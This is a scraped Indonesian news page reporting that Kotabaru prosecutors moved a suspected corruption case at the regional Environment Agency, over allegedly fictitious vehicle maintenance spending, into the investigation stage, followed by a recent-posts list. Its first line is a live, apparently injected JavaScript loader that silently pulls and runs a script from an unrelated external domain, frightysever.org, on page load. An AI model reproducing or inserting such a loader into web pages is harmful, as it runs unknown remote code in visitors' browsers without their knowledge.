(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Status Dugaan Korupsi di Dinas LH Kotabaru ke Tahap Penyidikan


KANALKALIMANTAN.COM, KOTABARU – Dugaan kasus tindak pidana korupsi di kantor Dinas Lingkungan Hidup (LH) Kabupaten Kotabaru memasuki babak baru. Statusnya telah dinaikkan dari penyelidikan menjadi penyidikan oleh Kejaksaan Negeri (Kejari) Kotabaru.

Hal tersebut berkaitan dengan dugaan penyalahgunaan anggaran penyedia jasa pemeliharaan, biaya pemeliharaan pajak, perizinan kendaraan dinas operasional atau lapangan Dinas Lingkungan Hidup tahun anggaran 2020 dan 2021.

Diduga penggunaan anggaran tidak sesuai alias fiktif, dan tim Kejari Kotabaru sudah meminta keterangan dari pihak-pihak terkait yang terlibat secara langsung maupun tidak langsung dalam pengelolaan anggaran tersebut.

Kepala Kejaksaan Negeri (Kajari) Kotabaru, Dr Andi Irfan Syafruddin melalui Kepala Seksi Intelijen Achmad Riduan menjelaskan, berdasarkan surat perintah penyelidikan Kepala Kejaksaan Negeri Kotabaru Nomor : PRINT-01/0.3.12/Fd.1/01/2022 tanggal 28 Januari 2022, tim Jaksa penyelidik Kejari Kotabaru telah melakukan penyelidikan.

 

 

Baca juga: Mengunjungi Desa Wisata Tiwingan Lama, Melihat Langsung ‘Raja Empat’ Kalsel

“Setelah dilakukan permintaan keterangan oleh tim Jaksa Penyelidik selama kurang lebih 20 hari dan telah dilakukan ekspose perkara yang dipimpin oleh Kajari Kotabaru dengan hasilnya adalah ditemukan adanya perbuatan melawan hukum yang memenuhi unsur-unsur di dalam Undang-Undang Tindak Pidana Korupsi, sehingga perlu ditingkatkan pemeriksaanya dari tahap penyelidikan ke tahap penyidikan,” terangnya, Rabu (23/2/2022) petang.

Berdasarkan hasil ekspose tersebut, katanya melanjutkan, kemudian diterbitkan surat perintah penyidikan Kajari Kotabaru Nomor : PRINT-01/0.3.12/Fd.2/02/2022 tanggal 21 Februari 2022 tim Jaksa penyidik Kejari Kotabaru akan bekerja mengumpulkan alat bukti yang sah sesuai ketentuan pada Pasal 184 Kitab Undang-undang Hukum Acara Pidana berupa keterangan saksi, ahli dan juga dokumen-dokumen yang ada kaitannya dengan perkara tersebut.

“Dari itu, dinilai adanya potensi kerugian keuangan negara dalam pengelolaan dugaan penyalahgunaan anggaran yang tidak Sesuai penggunaannya atau fiktif yang pertahunnya kurang lebih sebesar Rp 1.994.697.400,” tutupnya. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : bie


Risa

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

3 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

9 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

9 jam ago

This website uses cookies.